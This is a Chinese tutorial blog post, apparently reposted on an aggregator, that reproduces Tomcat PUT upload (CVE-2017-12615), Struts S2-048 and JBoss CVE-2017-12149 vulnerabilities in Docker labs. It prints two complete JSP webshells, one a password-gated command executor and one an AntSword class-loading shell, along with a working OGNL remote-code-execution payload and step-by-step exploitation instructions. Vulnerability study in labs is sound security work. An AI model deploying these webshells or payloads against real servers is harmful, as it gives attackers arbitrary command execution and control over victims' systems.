【网络安全的神秘世界】文件上传、JBOSS、Struct漏洞复现

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

攻防环境搭建及漏洞原理学习

Kali安装docker

安装教程

PHP攻防环境搭建

中间件介绍

介于应用系统和系统软件之间的软件。

能为多种应用程序合作互通、资源共享,同时还能为该应用程序提供相关服务的软件

1、Tomcat

Tomcat Put方法任意写文件漏洞(CVE-2017-12615)

Tomcat版本:7.0.0-7.0.79、8.5.19

此漏洞环境搭建:

docker search cve-2017-12615  //搜索相关镜像

在这里插入图片描述

docker pull docker.io/cved/cve-2017-12615  //把镜像拉取下来

在这里插入图片描述

docker run -d -p 8080:8080 cved/cve-2017-12615  //启动镜像

在这里插入图片描述

漏洞复现

先抓tomcat的包,右击发送到Repeater模块

在这里插入图片描述

改成put方法,上传名为1.jsp的脚本文件(脚本在下面),脚本内容放在请求正文里

再通过send发送这个包,根据响应状态码判断包传到服务端后有没有攻击成功

在这里插入图片描述

状态码为201说明上传成功了

验证一下是否成功:上传到根目录了所以直接访问本地ip:端口/1.jsp

在这里插入图片描述

发现是个空白页面说明这个文件就是存在的,因为如果页面不存在返回结果是404

在这里插入图片描述

上面的1.jsp已经告诉了使用此脚本的密码为magedu

if("magedu".equals(request.getParameter("pwd")))

又定义了i参数用来接收用户的输入(写我们想执行的恶意代码)

java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

很好,那么我们现在就可以来输入一些自己想执行的代码了

在这里插入图片描述

ls查看当前目录有那些文件

ls是Linux命令,能出来结果,说明底层是Linux操作系统

windows用dir查看

在这里插入图片描述

目前已经可以想执行什么命令就执行什么命令了,成功拿下webshell(web页面上的shell)

思考:为什么攻击的时候加/能传输成功,不加/就上传失败呢?

出于安全考虑,Tomcat本身不允许用户上传脚本文件,但加上/后,后缀名变成了.jsp/,可是操作系统保存文件时,文件的后缀名不能有/,不过系统会自动把/抹掉以.jsp的形式保存,所以上传成功可以执行

在这里插入图片描述

1.jsp

<%if("magedu".equals(request.getParameter("pwd"))){  //if(pwd==magedu)密码是magedujava.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();   //exec表示执行,i=用户输入的int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>
介绍一款工具

蚁剑

webshell图形化,下面介绍结合蚁剑工具对tomcat的漏洞利用

蚁剑百度网盘

使用过程

将蚁剑漏洞的shell脚本上传至服务端

在这里插入图片描述

访问上传的shell.jsp,若网站正常响应,则上传成功,否则失败

在这里插入图片描述

使用中国蚁剑连接

在这里插入图片描述

粘贴刚才上传shell.jsp后的url,连接蚁剑的密码是cmd

String cls =request.getParameter("cmd");

在这里插入图片描述

双击进入服务器,tomcat的配置就能随便翻阅了,至此已经成功

在这里插入图片描述

在这里插入图片描述

shell.jsp

<%!class U extends ClassLoader {U(ClassLoader c){super(c);}public Class g(byte[] b){return super.defineClass(b,0,b.length);}}public byte[] base64Decode(String str) throws Exception{try{Class clazz =Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);}catch (Exception e){Class clazz =Class.forName("java.util.Base64");Object decoder =clazz.getMethod("getDecoder").invoke(null);return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);}}
%>
<% String cls =request.getParameter("cmd");if(cls != null){new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 }
%>

tomcat、shell、蚁剑的关系

  1. 因为tomcat存在漏洞,所以可以上传shell(脚本文件)
  2. shell终端代码帮助攻击者实现远程命令执行的功能,而这些代码的运行要依靠tomcat
漏洞原理

造成漏洞的原因:

1、Tomacat的web.xml配置了可写(readonly=false),导致我们可以往服务器写(PUT)文件

在这里插入图片描述

2、Tomcat本身不允许上传jsp文件,1.jsp/加了/后就不是jsp文件了,系统保存文件1.jsp/ --> 1.jsp

(Tomcat对jsp是做了一定处理的,前面的流程中1.jsp/识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽视掉)

---------如果攻击成功?只需要两步

1、绕过网站的限制

2、让我上传的这个文件得以以正确的后缀名保存到服务器里

2、Struts

是一个基于java的web应用框架,被称为“漏洞之王”

S2-048远程代码执行漏洞(CVE-2017-9791)

漏洞原理

把该漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用

而由于 struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以执行OGNL表达式且能够调用 getText() 函数,而 getText() 函数的参数输入点又可以被用户直接控制,从而导致攻击者可以直接控制该点,构造恶意代码并执行从而实现RCE攻击

漏洞复习
docker search s2-048 //查找镜像
docker pull docker.io/piesecurity/apache-struts2-cve-2017-5638 //拉取镜像
docker run -d -p 8081:8080 piesecurity/apache-struts2-cve-2017-5638  //启动镜像,8082是vps的端口,8080是容器本身的端口
<!-- 容器本身的端口不可以更改,但可以映射到vps的任意端口,只要没有被占用 -->

这个环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问http://your-ip:8081/showcase/即可查看到struts2的测试页面

触发OGNL表达式的位置是 Gangster Name 这个表单

访问Integration/Struts 1 Integration:

在这里插入图片描述

OGNL表达式格式:

${xxx}

在这里插入图片描述

把4+5的运算结果返回给我们,到这里已经实现命令执行了

在这里插入图片描述

------为什么会使用数学运算表达式来验证命令是否执行?

1、回显准确

2、对网站本身不造成危害

漏洞利用代码

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec
('id').getInputStream())).(#q)}
#id 返回当前用户的信息

uid和gid都等于0说明是root用户

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传在这里插入图片描述

怎么挖这个漏洞?

通过工具进行信息收集,找到这个网站有没有struts框架

3、JBoss

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

漏洞简介

该漏洞为 Java 反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

漏洞原理

XXX反序列化漏洞:

# 序列号和反序列化的作用:保证代码在传输过程中不因为格式的变化而导致不可用序列化:把Java对象转换为字节序列(文本)的过程,便于数据进行保存、传输
反序列化:把字节序列恢复为Java对象的过程,以实现函数、对象的调用,完成代码承载的功能序列化和反序列化本身属于正常的功能并不存在问题,问题在于,如果Java应用对于用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在调用过程中就有可能带来任意代码执行

漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEBINF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:

public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if ((user == null) && (this.readOnlyContext != null))
{
ServletInputStream sis = request.getInputStream(); //获取用户输入
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try
{
mi = (MarshalledInvocation)ois.readObject(); //漏洞点,用户输入的数据没有经过过滤就直接拿来使用了
}
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}
request.setAttribute("MarshalledInvocation", mi);
mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}
漏洞复现

因为最近docker镜像无法拉取,所以要拉取前先去github上同步镜像源,具体流程请百度(下面直接给了JBoss镜像可以不用同步)

Jboss镜像

导入镜像源

docker import <容器文件路径> <新镜像名称>:<标签>

在这里插入图片描述

启动镜像

docker run -d -p 8082:8080 hackingpub/cve-2017-12149 /bin/bash run.sh

在这里插入图片描述

在这里插入图片描述

首次执行时会有1~3分钟时间初始化,初始化完成后访问 http://your-ip:8082/ 即可看到JBoss默认页面

在这里插入图片描述

漏洞利用

发现是jboss框架后使用反序列化漏洞检测工具,输入ip点击检测

发现漏洞系统是linux,在cmd输入想要执行的代码

在这里插入图片描述

怎么挖这个漏洞?

通过工具进行信息收集,找到这个网站有没有struts框架

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/856657.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

class的流光效果

效果图&#xff1a; 代码示例 <!DOCTYPE html> <html lang"zh"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title&g…

链表OJ

GDUFE 在期末前再刷一次链表题 ~ 203. 移除链表元素 - 力扣&#xff08;LeetCode&#xff09; /*** Definition for singly-linked list.* struct ListNode {* int val;* struct ListNode *next;* };*/ struct ListNode* removeElements(struct ListNode* head, int …

学习笔记——网络管理与运维——SNMP(SNMP版本)

二、SNMP版本 1、SNMP版本 SNMP共有三个版本&#xff1a;SNMPv1、SNMPv2c和SNMPv3。 (1)SNMPv1 1990年5月&#xff0c;RFC1157定义了SNMP的第一个版本SNMPv1。RFC1157提供了一种监口控和管理计算机网络的系统方法。SNMPv1基于团体名认证&#xff0c;安全性较差&#xff0c;…

手机天线都去哪里了?

在手机的演变历程中&#xff0c;天线的设计和位置一直是工程师们不断探索和创新的领域。你是否好奇&#xff0c;现在的手机为什么看不到那些曾经显眼的天线了呢&#xff1f; 让我们一起揭开这个谜题。 首先&#xff0c;让我们从基础开始&#xff1a;手机是如何发出电磁波的&…

Redis—String数据类型及其常用命令详解

文章目录 Redis概述1.Redis-String数据类型概述2.常用命令2.1 SET&#xff1a;添加或者修改已经存在的一个String类型的键值对2.2 GET&#xff1a;根据key获取String类型的value2.3 MSET&#xff1a;批量添加多个String类型的键值对2.4 MGET&#xff1a;根据多个key获取多个Str…

腾讯云开端口

轻量服务器 由于开发者计划&#xff0c;这些腾讯云 阿里云什么的小vps&#xff0c;是非常之便宜&#xff0c;甚至到了白送的地步&#xff08;小阿&#xff09;&#xff0c;但是作为一个web安全学习者必要的vps操作还是要会的 开启端口 腾讯云的轻量服务器是没有安全组的&…

【服务器02】之阿里云平台

百度一下阿里云官网 点击注册直接使用支付宝注册可以跳过认证 成功登录后&#xff0c;点击产品 点击免费试用 点击勾选 选一个距离最近的 点满GB 注意&#xff1a;一般试用的时用的是【阿里云】&#xff0c;真正做项目时用的是【腾讯云】 现在开始学习使用&#xff1a; 首先…

排序方法——《归并排序》

P. S.&#xff1a;以下代码均在VS2019环境下测试&#xff0c;不代表所有编译器均可通过。 P. S.&#xff1a;测试代码均未展示头文件stdio.h的声明&#xff0c;使用时请自行添加。 博主主页&#xff1a;Yan. yan.                        …

算法体系-23 第二十三节:暴力递归到动态规划(五)

一 求K次打击之后&#xff0c;英雄把怪兽砍死的概率 1.1 描述 给定3个参数&#xff0c;N&#xff0c;M&#xff0c;K 怪兽有N滴血&#xff0c;等着英雄来砍自己 英雄每一次打击&#xff0c;都会让怪兽流失[0~M]的血量 到底流失多少&#xff1f;每一次在[0~M]上等概率的获得一个…

搭建预约咨询小程序,高效便捷新选择

一、预约咨询小程序是什么&#xff1f; 预约咨询小程序是一款适用于各种生活场景包括医疗、保洁、宠物护理、法律等方面的预约咨询类小程序。 二、这款小程序有什么亮点优势&#xff1f; 预约咨询小程序适用场景广泛&#xff0c;无论是心理咨询、法律咨询&#xff0c;还是宠物…

让图片开口说话的模型Hallo: 基于音频驱动的肖像图像动画,精准唇形同步,支持多种语言和风格

前言 让静态的图片“开口说话”&#xff0c;一直是人们对人工智能的期待。近年来&#xff0c;随着深度学习技术的发展&#xff0c;音频驱动的肖像图像动画技术取得了长足的进步。各种模型涌现&#xff0c;但如何实现精准的唇形同步、保持视频的真实感和流畅性&#xff0c;以及…

变长的时间戳设计

以前的时间戳有32位&#xff0c;以秒为单位&#xff0c;231秒≈68年&#xff0c;从1970年开始&#xff0c;到2038年会出问题。 后来出现的时间戳有64位&#xff0c;以纳秒为单位&#xff0c;263纳秒≈292年。 本次设计的变长时间戳&#xff0c;以32比特为单位&#xff0c;总共…

mysql8.0找不到my.ini

报错问题解释&#xff1a; MySQL 8.0 在Windows系统中通常不需要 my.ini 文件&#xff0c;因为安装程序会在 %PROGRAMDATA%\MySQL\MySQL Server 8.0\ &#xff08;通常是 C:\ProgramData\MySQL\MySQL Server 8.0\&#xff09;创建默认的配置文件。如果你的系统中找不到 my.ini…

Qt中利用QTextBrowser控件设计日志窗口

我们一般使用Qt开发应用程序时&#xff0c;都有将控制台窗口去掉。但是&#xff0c;有时候又需要查看一些调试信息&#xff0c;一般的处理方式是把log写到一个文件中。本文介绍一下日志窗口&#xff0c;可以更方便的查看日志信息。 UI设计 推拽UI控件&#xff0c;修改默认背景…

FFmpeg+SDL2实现音视频播放器项目

一、FFmpeg视频解码器 1.视频解码知识 1).纯净的视频解码流程 压缩编码数据->像素数据。 例如解码H.264&#xff0c;就是“H.264码流->YUV”。 2).一般的视频解码流程 视频码流一般存储在一定的封装格式&#xff08;例如MP4、AVI等&#xff09;中。封装格式中通常还…

反转链表(java精简版)

反转一个单向链表。 public class ReversingLinkedList {static class Node {int val;Node next;public Node(int val) {this.val val;}public boolean hasNext() {return next ! null;}}public static void main(String[] args) {//构造Node head null;Node shift null;for…

高效电商数据分析:电商爬虫API与大数据技术的融合应用

一、引言 随着电子商务的迅猛发展和数据量的爆炸式增长&#xff0c;电商数据分析已成为企业决策的关键依据。在竞争激烈的电商市场中&#xff0c;如何高效、准确地获取并分析数据&#xff0c;以洞察市场趋势、优化运营策略、提升用户体验&#xff0c;成为电商企业面临的重要挑…

期货止损口诀需牢记

实战操作难免错&#xff0c;心中不必一团火&#xff1b; 出错认输是常事&#xff0c;亏损不止闯大祸。 止损纪律要定死&#xff0c;价格不能差豪丝&#xff1b; 触及止损要出局&#xff0c;管它价格怎放肆。 强势多空价放宽&#xff0c;价格波动要空间&#xff1b; 大势不改…

【数学】什么是傅里叶级数与傅里叶变换?

傅里叶级数与傅里叶变换 背景 傅里叶级数和傅里叶变换是数学和工程领域中的重要工具&#xff0c;特别是在信号处理、图像处理和物理学中。傅里叶级数用于将周期函数表示为正弦和余弦函数的和&#xff0c;而傅里叶变换用于将任意函数表示为频率的函数。 公式 傅里叶级数&…

深度学习(十四)——优化器

前言 反向传播可以求出神经网路中每个需要调节参数的梯度(grad)&#xff0c;优化器可以根据梯度进行调整&#xff0c;达到降低整体误差的作用。下面我们对优化器进行介绍。 1. 如何使用优化器 官方文档:torch.optim — PyTorch 2.0 documentation &#xff08;1&#xff09;构…